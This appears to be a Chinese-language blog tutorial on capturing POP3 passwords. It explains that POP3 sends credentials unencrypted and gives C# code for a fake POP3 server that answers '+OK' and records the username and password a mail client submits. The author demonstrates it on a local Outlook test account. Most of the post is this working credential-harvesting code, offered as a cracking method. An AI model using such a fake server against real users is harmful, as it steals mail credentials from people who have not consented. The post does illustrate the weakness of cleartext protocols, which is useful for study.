如何取得POP3的帳號密碼

How to get account & pass word in POP3.

由於pop3使用的密碼是未經過加密的

所以安全性一般並不高

有很多方法可以破解

目前網路上有很多pop3的密碼破解器

其中一種是利用某個程式偽裝成pop3的伺服器

走正常的通訊流程

當client端確認你為一般的pop3伺服器的時候

就會將未經加密的帳號密碼交出來

 

這邊解釋一下pop3的通訊流程

1. 當client連接上server的時候,會由server端首先發送一個"+OK"的訊息字串給client

2. 當client接收到訊息字串的時候,會將使用者的帳號給予server端,一般正常的狀況下,pop3會在此時檢查此帳號使否正確或存在

3. 如果帳號正確的話,server一樣會再回應一個"+OK"的訊息字串

4. 當client第二次接收到這個訊息字串時,便會將此帳號的密碼提供給pop3進行驗證,不過請注意,這時候的密碼是沒有加密過的

5. 當密碼驗證成功,client與server便可開始進行交易

 

參考資料

http://www.ietf.org/rfc/rfc1939.txt

 

以下是程式碼的實作

	private const string IP = "127.0.0.1";    // 這是要進行Listen的IP
private const int POP3_PORT = 110;        // 這是POP3預設的Port

private struct UserData
{
    public string szAccount;
    public string szPassWord;
}

private UserData ListenPOP3()
{
    // 建立一個監聽的Port 並且等待Client端的要求
    IPEndPoint  mIPEndPoint_  = new IPEndPoint(IPAddress.Parse(IP), POP3_PORT);
    TcpListener mTcpListener_ = new TcpListener(mIPEndPoint_);
    mTcpListener_.Start();
    TcpClient   mTcpClient_   = mTcpListener_.AcceptTcpClient();

    UserData tagUserData_ = new UserData();


    // 送出一個訊息給Client說OK
    NetworkStream mNetworkStream_ = mTcpClient_.GetStream();
    byte[] byConnected_ = Encoding.ASCII.GetBytes("+OK\n");
    mNetworkStream_.Write(byConnected_, 0, byConnected_.Length);


    // 取得Client的帳戶名稱
    byte[] byAccount_ = new byte[255];
    mNetworkStream_.Read(byAccount_, 0, byAccount_.Length);
    tagUserData_.szAccount = Encoding.ASCII.GetString(byAccount_);


    // 回應Client帳號是正確的
    byte[] byAccountOK_ = Encoding.ASCII.GetBytes("+OK\n");
    mNetworkStream_.Write(byAccountOK_, 0, byAccountOK_.Length);


    // 取得Client密碼
    byte[] byPassWord_ = new byte[255];
    mNetworkStream_.Read(byPassWord_, 0, byPassWord_.Length);
    tagUserData_.szPassWord = Encoding.ASCII.GetString(byPassWord_);

    return tagUserData_;
}

 

 

我們來看一下結果

這是我在outlook中建立的測試帳號

帳號是test

密碼是1234

由於假的pop3 server是在自己本機端

所以郵件伺服器填 127.0.0.1 即可以

image

 

按下傳送與接收

image

 

看一下server端的反應

帳號密碼果然直接就被顯示出來

 

 

image